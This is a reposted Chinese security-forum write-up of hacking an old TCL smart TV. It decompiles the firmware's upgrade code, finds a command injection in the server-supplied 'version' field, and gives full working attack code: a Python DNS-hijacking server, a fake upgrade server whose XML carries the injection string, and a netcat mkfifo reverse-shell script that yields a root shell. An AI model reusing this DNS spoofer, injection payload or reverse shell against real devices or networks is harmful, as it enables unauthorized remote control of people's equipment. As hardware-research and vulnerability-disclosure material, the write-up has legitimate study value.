看我如何PWN一款老旧的TCL电视机
2020-03-09 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:88 收藏

本文为看雪论坛精华文章

看雪论坛作者ID:wmsuper 

信息收集

电视机的型号如下所示:
  
通过简单的搜索,可以找到网友共享出来的固件TCL_MS881_MAIN.bin,运行binwalk -Me TCL_MS881_MAIN.bin对其进行解包,可以直接解出该文件系统,下图是其中一部分关键的文件:

其中的china_lite_board即为主要的执行文件,负责电视剧大部分图像显示和逻辑处理。架构是mips的,所以可以通过ghidra愉快分析其伪C代码。
确定方向
1. nmap扫描端口,发现一个端口都没开,也就是说无法利用一些自带的服务,比如说telnet进入系统。
2. 解包固件打包回去,通过固件升级的方式来获取设备控制权:本身有一定的危险性,可能导致电视机直接变成砖头。
3. 在分析china_lite_board文件时,可以看到进入工程模式的密码:1950,找找看工程模式中有没有相关的开关直接拿shell的:

进入工程模式可以看到如下选项:

找了一圈,没有找到关键点,不过其中的一个SSCOM Debug引起了我的注意,通过简单的搜索,发现这是打开串口调试的选项,但是手上没有串口线,这就很难受了。

4. 利用漏洞,比如最简单的命令注入漏洞来获取控制权,一般来说,这种设备对安全不注重,会有一些漏洞产生,尤其是命令注入(比内存破坏类漏洞相对好利用),所以最后还是找找看有没有命令注入漏洞来进行突破。最终方向
发现漏洞
发现命令注入类漏洞主要的思路是找到system函数的所有的引用,再一个个的去分析,最后通过这种方法发现了一个存在于升级功能的命令注入漏洞。
升级逻辑如下,会请求http://api.upgrade.platform.huan.tv/service/upmp/upgradeIncrInterface获取升级信息(为了抓包,需要使用笔记本开热点让电视使用)

 
服务器返回得升级信息如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><upgradeIncrResponse>  <servertime>1581142666</servertime>  <callid>e3567c969c2c3d4098a88b960e627804</callid>  <state>0000</state>  <note>成功</note>  <language>zh_CN</language>  <apiversion>1.0</apiversion></upgradeIncrResponse>

通过字符串搜索找到了处理的代码如下:
undefined4 FUN_00457748(MWidget *param_1) {  MWidget MVar1;  MSRV_NETWORK_LINK_STATUS_e *pMVar2;  MSRV_NETWORK_IP_STATUS_e *pMVar3;  int iVar4;  int iVar5;  long lVar6;  long lVar7;  undefined4 uVar8;  char *pcVar9;  int local_1c8;  int local_1c0;  uint local_1b8;  uint local_1b4;  int local_1a4;  allocator<char> aaStack412 [4];  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack408 [4];  basic_string abStack404 [4];  allocator<char> aaStack400 [4];  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack396 [4];  basic_string abStack392 [4];  basic_string abStack388 [4];  undefined4 local_180;  undefined4 local_17c;  undefined4 local_178;  undefined4 local_174;  undefined4 local_170;  undefined4 local_16c;  undefined4 local_168;  undefined4 local_164;  undefined4 local_160;  undefined4 local_15c;  allocator aaStack344 [52];  undefined4 local_124;  undefined2 local_120;  undefined auStack286 [46];  statfs asStack240 [2];  double local_38;  double local_30;  double local_28;  double local_20;  uint local_18;        /*................代码略..............*/      printf("\n[csheng]portalfeedback ==POTAL_FEEDBACK_SUCCESS ..[%s][%d]",             "./src/NetUpdateFrame.cpp",0x51f);      *(char *)(param_1 + 0x1f1) = (char)param_1[0x1f1] + '\x01';      Set((short)*(undefined4 *)(param_1 + 0x1d8) + 0x250);      Invalidate();      if (param_1[0x3a00] == (MWidget)0x1) {        printf("\n[csheng]call_C_MApp_GetPotalData begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",               0x527);        uVar8 = call_C_MApp_GetPotalData(0x20,"/Customer/portal/swupg/update.xml");        *(undefined4 *)(param_1 + 0x3a10) = uVar8;        printf("\n[csheng]call_C_MApp_GetPotalData->portalfeedback=%d ...[%s][%d]\n",               *(undefined4 *)(param_1 + 0x3a10),"./src/NetUpdateFrame.cpp",0x529);      }      if (*(int *)(param_1 + 0x3a10) == 1) {        puts("=======SUCCESS========");        if (param_1[0x3a00] == (MWidget)0x1) {          printf("\n[csheng]call_C_ParseNewUpdateXml begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",                 0x530);          param_1[0x38c] = (MWidget)0x0;          //解析xml文件          uVar8 = call_C_ParseNewUpdateXml                            (param_1 + 0x1f8,param_1 + 0x39e8,"/Customer/portal/swupg/update.xml");          *(undefined4 *)(param_1 + 0x3a0c) = uVar8;          printf("\n[csheng]call_C_ParseNewUpdateXml->ret=%d,totoalnums=%d...[%s][%d]\n",                 *(undefined4 *)(param_1 + 0x3a0c),*(undefined4 *)(param_1 + 0x39e8),                 "./src/NetUpdateFrame.cpp",0x533);          printf("\n[csheng]updateinfo->index=%d",*(undefined4 *)(param_1 + 0x78c));          printf("\n[csheng]updateinfo->md5=%s",param_1 + 0x35a);          printf("\n[csheng]updateinfo->note=%s",param_1 + 0x38c);          printf("\n[csheng]updateinfo->size=%s",param_1 + 0x238);          printf("\n[csheng]updateinfo->source=%s",param_1 + 0x256);          printf("\n[csheng]updateinfo->title=%s",param_1 + 0x21a);          printf("\n[csheng]updateinfo->type=%s",param_1 + 0x1f8);          printf("\n[csheng]updateinfo->url=%s",param_1 + 0x25b);          printf("\n[csheng]updateinfo->version=%s\n",param_1 + 0x1fc);        }        if (*(int *)(param_1 + 0x3a0c) == -1) {          puts("parse xml file error!");          return 1;        }        puts("\n=======Start Download Package======");        if (*(int *)(param_1 + 0x39e8) < 1) {          puts("=======None update info=========");          param_1[500] = (MWidget)0x2;          Hide();          Hide();          Hide();          Hide();          Hide();          Show();          SetInitialFocus(param_1);          SwitchFocusTo(param_1);          Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);          Invalidate();          param_1[499] = (MWidget)0x3;          KillTimer((ulong)param_1);          return 1;        }        doUpgrdOnce = 1;        printf("\n[csheng]totoalnums>0,..[%s][%d]","./src/NetUpdateFrame.cpp",0x546);        if (param_1[0x3a00] == (MWidget)0x1) {          puts("\r\n=====NoteFlag=1======");          basic_ostringstream((_Ios_Openmode)asStack240);          param_1[0x3a00] = (MWidget)0x0;          param_1[500] = (MWidget)0x0;          Hide();          Hide();          Hide();          Hide();          Hide();          Show();          SwitchFocusTo(param_1);          if (param_1[0x38c] == (MWidget)0x0) {            Set((short)*(undefined4 *)(param_1 + 0x1a4) + 0x160);          }          else {            operator<<<std--char_traits<char>>                      ((basic_ostream *)asStack240,(char *)(param_1 + 0x38c));            iVar4 = *(int *)(param_1 + 0x1a4);            str();            operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)                      (iVar4 + 0x164),abStack388);            ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)                          abStack388);          }          SetFlag((char)*(undefined4 *)(param_1 + 0x1a4) + '`','\x01');          Invalidate();          param_1[499] = (MWidget)0xc;          KillTimer((ulong)param_1);          ~basic_ostringstream                    ((basic_ostringstream<char,std--char_traits<char>,std--allocator<char>> *)                     asStack240);          return 1;        }        SetTimer((ulong)param_1,1000,1);        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);        if (iVar4 == 0) {          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x56c);          lVar6 = atol((char *)(param_1 + 2000));          if (lVar6 < 0) {            lVar6 = lVar6 + 0xfffff;          }          *(long *)(param_1 + 0x4688) = (lVar6 >> 0x14) + 1;        }        iVar4 = strncmp((char *)(param_1 + 0x256),"300",4);        if (iVar4 == 0) {          printf("\n[csheng]source=300..[%s][%d]","./src/NetUpdateFrame.cpp",0x571);          pcVar9 = (char *)GetInstance();          iVar4 = GetUSBMountPath(pcVar9);          if (iVar4 == 0) {            printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x58f);            param_1[500] = (MWidget)0x3;            Hide();            Hide();            Hide();            Hide();            Hide();            Show();            SwitchFocusTo(param_1);            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);            Invalidate();            param_1[499] = (MWidget)0x4;            KillTimer((ulong)param_1);            return 1;          }          puts("=======Find USB Device============");          pcVar9 = (char *)GetInstance();          iVar4 = GetUSBContainer(pcVar9);          SetTimer((ulong)param_1,500,2);          lVar6 = atol((char *)(param_1 + 0x238));          if (lVar6 < 0) {            lVar6 = lVar6 + 0xfffff;          }          if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {            param_1[500] = (MWidget)0x3;            Hide();            Hide();            Hide();            Hide();            Hide();            Show();            SwitchFocusTo(param_1);            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);            Invalidate();            param_1[499] = (MWidget)0x5;            KillTimer((ulong)param_1);            return 1;          }          local_180 = 0;          local_17c = 0;          local_178 = 0;          local_174 = 0;          local_170 = 0;          pcVar9 = (char *)GetInstance();          GetUSBMountPath(pcVar9);          //缓冲区溢出          sprintf(Downloadaddress,"%s/%s",&local_180,param_1 + 0x21a);          strcpy(DownloadPath,(char *)&local_180);        }        else {          iVar4 = strncmp((char *)(param_1 + 0x256),"100",4);          if (iVar4 == 0) {            printf("\n[csheng]source=100..[%s][%d]","./src/NetUpdateFrame.cpp",0x5a1);            pcVar9 = (char *)GetInstance();            iVar4 = GetUSBMountPath(pcVar9);            if (iVar4 == 0) {              printf("\n[csheng]no usb..[%s][%d]","./src/NetUpdateFrame.cpp",0x5c1);              param_1[500] = (MWidget)0x3;              Hide();              Hide();              Hide();              Hide();              Hide();              Show();              SwitchFocusTo(param_1);              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);              Invalidate();              param_1[499] = (MWidget)0x4;              KillTimer((ulong)param_1);              return 1;            }            puts("=======Find USB Device============");            pcVar9 = (char *)GetInstance();            iVar4 = GetUSBContainer(pcVar9);            SetTimer((ulong)param_1,500,2);            lVar6 = atol((char *)(param_1 + 0x238));            if (lVar6 < 0) {              lVar6 = lVar6 + 0xfffff;            }            if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {              printf("\n[csheng]USB Contain have not enough space!!!..[%s][%d]",                     "./src/NetUpdateFrame.cpp",0x5a9);              param_1[500] = (MWidget)0x3;              Hide();              Hide();              Hide();              Hide();              Hide();              Show();              SwitchFocusTo(param_1);              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);              Invalidate();              param_1[499] = (MWidget)0x5;              KillTimer((ulong)param_1);              return 1;            }            local_16c = 0;            local_168 = 0;            local_164 = 0;            local_160 = 0;            local_15c = 0;            pcVar9 = (char *)GetInstance();            GetUSBMountPath(pcVar9);            //缓冲区溢出            sprintf(Downloadaddress,"%s/%s",&local_16c,param_1 + 0x1fc);            strcpy(DownloadPath,(char *)&local_16c);          }        }        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);        if (iVar4 == 0) {          printf("\n[csheng]source=200..[%s][%d]","./src/NetUpdateFrame.cpp",0x5e1);          sprintf(DownloadMbootAddress,"%s/%s",DownloadPath,param_1 + 0x7b2);          pcVar9 = (char *)GetInstance();          DeleteOtherUpdateFileForMboot(pcVar9,DownloadPath);        }        if (local_1a4 < 99) {          printf("\n[csheng]intpercentage=%d,debugline..[%s][%d]",local_1a4,                 "./src/NetUpdateFrame.cpp",0x5ec);          param_1[500] = (MWidget)0x5;          param_1[499] = (MWidget)0x1a;          Show();          Hide();          Hide();          Hide();          Hide();          Hide();          SetInitialFocus(param_1);          SwitchFocusTo(param_1);          SetCurValue(*(long *)(param_1 + 0x1e4));          iVar4 = *(int *)(param_1 + 0x1e8);          allocator();          basic_string((char *)abStack396,aaStack344);          operator+<char,std--char_traits<char>,std--allocator<char>>(abStack392,(char *)abStack396)          ;          operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)                    (iVar4 + 0x164),abStack392);          ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)abStack392                       );          ~basic_string(abStack396);          ~allocator(aaStack400);          Invalidate();          Invalidate();        }        param_1[0x39f4] = (MWidget)0x0;        printf("\n[csheng]check data space for update..[%s][%d]","./src/NetUpdateFrame.cpp",0x600);        local_1b4 = 0;        local_124 = 0x7461642f;        local_120 = 0x61;        memset(auStack286,0,0x2c);        system("/system/bin/stop zygote");        system("umount -l /mnt/sdcard");        iVar4 = statfs("/data",asStack240);        if (-1 < iVar4) {          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x61e);          local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks);          printf("\r\n u16USBFreeSpace=%ld",local_1b4,                 ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +                 (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20                      ));        }        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);        if (iVar4 == 0) {          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x638);          lVar6 = atol((char *)(param_1 + 0x238));          lVar7 = atol((char *)(param_1 + 2000));          local_1b8 = lVar6 + lVar7;        }        else {          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x63d);          local_1b8 = atol((char *)(param_1 + 0x238));        }        printf("\r\n LoadFilesize=%d",local_1b8);        if (local_1b4 < local_1b8) {          printf("\r\n LoadFilesize11=%d",local_1b8);          pcVar9 = (char *)GetInstance();          iVar4 = ListFilesDir(pcVar9);          if (iVar4 == 0) {            system("/bin/tools/ls -al");            printf("\r\n remove finished");          }          iVar4 = statfs("/data",asStack240);          if (-1 < iVar4) {            local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks                              );            printf("\r\n u16USBFreeSpace22=%ld",local_1b4,                   ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +                   (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >>                        0x20));          }          if (local_1b4 < local_1b8) {            system("rm -rf /data/*");            system("/bin/tools/ls -al");            sync();            puts("\r\n rm all ");          }        }        iVar4 = strncmp((char *)(param_1 + 0x256),"200",4);        if (iVar4 == 0) {          puts("\nmboot down thread start");          mbootthreadstatus = 1;        }        else {          puts("\nmain code down thread start");          codethreadstatus = 1;        }         //下载升级包        iVar4 = pthread_create((pthread_t *)(param_1 + 0x3a04),(pthread_attr_t *)0x0,                               call_C_Autodownloadpackage,param_1 + 0x1f8);        SetTimer((ulong)param_1,1000,3);        if (iVar4 == 0) {          puts("Create DOWNLOAD thread SUCCESS");        }        else {          printf(" Couldn\'t create DOWNLOAD thread  --errno: %d\n",iVar4);        }        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);        if (iVar4 == 0) {          puts("\nComing to creat thread of mboot");          pthread_create((pthread_t *)(param_1 + 0x3a08),(pthread_attr_t *)0x0,downloadpackage,                         param_1 + 0x790);        }        lVar6 = atol((char *)(param_1 + 0x238));        printf(               "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmain=%ld------671-------//\n"               ,lVar6);        lVar6 = atol((char *)(param_1 + 2000));        printf(               "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmboot=%ld------671-------//\n"               ,lVar6);        return 1;      }      puts("=======FAILURE=======......................==");      param_1[500] = (MWidget)0x2;      Hide();      Hide();      Hide();      Hide();      Hide();      Show();      SetInitialFocus(param_1);      SwitchFocusTo(param_1);      Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);      Invalidate();      param_1[499] = (MWidget)0x7;      KillTimer((ulong)param_1);      return 1;    }  }  KillTimer((ulong)param_1);  return 1;}

缓冲区溢出的地方先不管,找到调用system函数的地方,继续跟入下载升级包的流程:

下载之前删除之前下载过的数据包,会将服务端传过来的version直接拼接到命令行中,没有进行任何验证(命令注入漏洞):

漏洞利用
在上面的分析已经介绍了漏洞的成因,主要是没对服务端传过来的version字段进行过滤,那么问题来了,如何伪造服务端的响应触发漏洞?

>>>>

DNS劫持


通过将api.upgrade.platform.huan.tv解析到恶意构造的80主机即可,参考别人写的dns劫持代码如下:
#!/usr/bin/pythonimport socketimport structimport timeimport loggingfrom logging.handlers import RotatingFileHandler LOG = logging.getLogger('myip')LOG.setLevel(logging.INFO)FORMATTER = logging.Formatter('%(asctime)s %(levelname)s %(message)s')HANDLER = RotatingFileHandler('myip.log', maxBytes=512000, backupCount=10)HANDLER.setFormatter(FORMATTER)LOG.addHandler(HANDLER) DELAY = 50MAXSUBDOMAINS = 3HIAJACK_LIST = [   "api.upgrade.platform.huan.tv" ] LASTQUERY = time.time() def queryfilter(query, source):    global LASTQUERY    elapsed = time.time() - LASTQUERY    if not query.domain:        LOG.warning("ignoring query because it has no data. source: %s", source)        return False    for bl_domain in HIAJACK_LIST:        if bl_domain.lower() in query.domain.lower():            LOG.warning("hijack query for blacklisted domain. domain: %s, source: %s", query.domain, source)            return True    return False def _get_question_section(query):    # Query format is as follows: 12 byte header, question section (comprised    # of arbitrary-length name, 2 byte type, 2 byte class), followed by an    # additional section sometimes. (e.g. OPT record for DNSSEC)    start_idx = 12    end_idx = start_idx     num_questions = (ord(query.data[4]) << 8) | ord(query.data[5])     while num_questions > 0:        while query.data[end_idx] != '\0':            end_idx += ord(query.data[end_idx]) + 1        # Include the null byte, type, and class        end_idx += 5        num_questions -= 1     return query.data[start_idx:end_idx] class DNSResponse(object):    def __init__(self, query):        self.id = query.data[:2]  # Use the ID from the request.        self.flags = "\x81\x80"  # No errors, we never have those.        self.questions = query.data[4:6]  # Number of questions asked...        # Answer RRs (Answer resource records contained in response) 1 for now.        self.rranswers = "\x00\x01"        self.rrauthority = "\x00\x00"  # Same but for authority        self.rradditional = "\x00\x00"  # Same but for additionals.        # Include the question section        self.query = _get_question_section(query)        # The pointer to the resource record - seems to always be this value.        self.pointer = "\xc0\x0c"        # This value is set by the subclass and is defined in TYPE dict.        self.type = None        self.dnsclass = "\x00\x01"  # "IN" class.        # TODO: Make this adjustable - 1 is good for noobs/testers        self.ttl = "\x00\x00\x00\x01"        # Set by subclass because is variable except in A/AAAA records.        self.length = None        self.data = None  # Same as above.     def answer(self):        try:            return self.id + self.flags + self.questions + self.rranswers + \                self.rrauthority + self.rradditional + self.query + \                self.pointer + self.type + self.dnsclass + self.ttl + \                self.length + self.data        except (TypeError, ValueError):            pass class A(DNSResponse):    def __init__(self, query, ip):        super(A, self).__init__(query)        self.type = "\x00\x01"        self.length = "\x00\x04"        self.data = ''.join(chr(int(x)) for x in ip.split('.')) class DNSQuery:    def __init__(self, data):        self.data = data        self.domain = ''         tipo = (ord(data[2]) >> 3) & 15   # Opcode bits        if tipo == 0:                     # Standard query            ini = 12            lon = ord(data[ini])            while lon != 0:                self.domain += data[ini+1:ini+lon+1]+'.'                ini += lon+1                lon = ord(data[ini])#            self.type = data[ini:][1:3]#            #print struct.unpack(">H", self.type)#        else:#            self.type = data[-4:-2]hijack_ip='192.168.137.77'if __name__ == '__main__':    udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)    udps.bind(('', 53))    try:        while 1:            data, addr = udps.recvfrom(1024)            try:                q = DNSQuery(data)                     if queryfilter(q, addr[0]):                    print addr[0]                             r = A(q, hijack_ip)                    LOG.info('%s -> %s', q.domain, addr[0])                    udps.sendto(r.answer(), addr)                            LASTQUERY = time.time()            except Exception, err:                LOG.warning("Exception caused by %s: %s", addr, err)                # We don't send data since address could be spoofed                #udps.sendto("Invalid request", addr)     except KeyboardInterrupt:      print 'Closing'      udps.close()

并且将AP适配器的dhcp-dns改成恶意的DNS服务地址:

>>>>

命令注入

再编写一个http服务器来响应升级请求,同时插入恶意构造的代码(<version>test'`;sh ./hack.sh;echo `echo '1</version> ),该代码会直接执行U盘目录下的hack.sh文件:
# coding:utf-8 import socketimport timeimport threading  def handle_client(client_socket):    """    处理客户端请求    """    request_data = client_socket.recv(1024)    print("request data:", request_data)    # 构造响应数据    response_start_line = "HTTP/1.1 200 OK\r\n"      response_body = '''<?xml version="1.0" encoding="utf-8"?><upgradeIncrResponse>  <servertime>%d</servertime>  <callid>e3567c969c2c3d4098a88b960e627804</callid>  <state>0000</state>  <note>nihao</note>  <language>zh_CN</language>  <upgrade>     <type>100</type>      <apptype>100</apptype>      <title>123</title>      <md5>123</md5>      <version>test'`;sh ./hack.sh;echo `echo '1</version>      <size>5</size>      <note>pwn by wmsuper</note>      <fileurl>http://192.168.137.77</fileurl>      <appid>1</appid>   </upgrade></upgradeIncrResponse>'''%(int(time.time()))         response_headers = "Server: My server\r\n"+"Content-Type: application/xml;charset=UTF-8\r\n"+"Content-Length: %d\r\n"%len(response_body)     response = response_start_line + response_headers + "\r\n" + response_body     # 向客户端返回响应数据    client_socket.send(response)     # 关闭客户端连接    client_socket.close()  if __name__ == "__main__":    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    server_socket.bind(("", 80))    server_socket.listen(128)     while True:        client_socket, client_address = server_socket.accept()        print("[%s, %s]用户连接上了" % client_address)        handle_client_process = threading.Thread(target=handle_client, args=(client_socket,))        handle_client_process.start()        
U盘的hack.sh文件如下(试了好几个payload,最后只有这个成功了):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.137.1 8848 >/tmp/f

利用效果
在按下通过网络升级的按钮之后,伪造的服务端将会返回伪造的请求数据,电视机会提示升级的选项框:
   
点击确定,会触发version字段的恶意代码,执行U盘的反弹shell代码(之前得在主机运行nc -lvp 8848 来监听反弹回来的shell):
 
反弹的shell如下,身份是root,到这里可以说已经完全控制该电视了:
  
CPU很渣,其实没啥可玩性:

结语
本片虽然没啥技术含量,纯粹瞎折腾,不过花了挺长时间写的,希望大家喜欢~~~///(^v^)\\\~~~
- End -

看雪ID:wmsuper

https://bbs.pediy.com/user-651413.htm 

*本文由看雪论坛 wmsuper 原创,转载请注明来自看雪社区。

推荐文章++++

攻防世界fakebook关卡攻略

CVE-2019-2234组件暴露漏洞分析

**游戏逆向分析笔记

对宝马车载apps协议的逆向分析研究

x86_64架构下的函数调用及栈帧原理

好书推荐


公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]
“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458303942&amp;idx=1&amp;sn=f4e8d97415f30cfc740ed2a1b76a5578&amp;chksm=b1818d4c86f6045adfddf4d6f89374ee7281c3cf0820f8a18f8c09b9ce9e1b2eb1da0a197ab3#rd
如有侵权请联系:admin#unsafe.sh